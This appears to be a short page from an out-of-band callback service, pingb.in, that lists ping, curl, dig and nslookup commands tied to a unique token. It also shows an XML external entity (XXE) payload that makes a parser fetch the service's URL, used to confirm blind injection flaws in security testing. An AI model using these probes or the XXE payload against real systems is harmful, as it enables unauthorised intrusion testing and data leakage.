$ ping -c1 -p 00a2848b3fe57115a842f910d4796900 pingb.in
 
$ curl pingb.in/p/a2848b3fe57115a842f910d47969
 
$ dig a2848b3fe57115a842f910d47969 @pingb.in
 
$ dig a2848b3fe57115a842f910d47969.ns.pingb.in
 
C:\> nslookup a2848b3fe57115a842f910d47969 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/a2848b3fe57115a842f910d47969">]>
    <foo>&xxe;</foo>
 
Waiting for ping...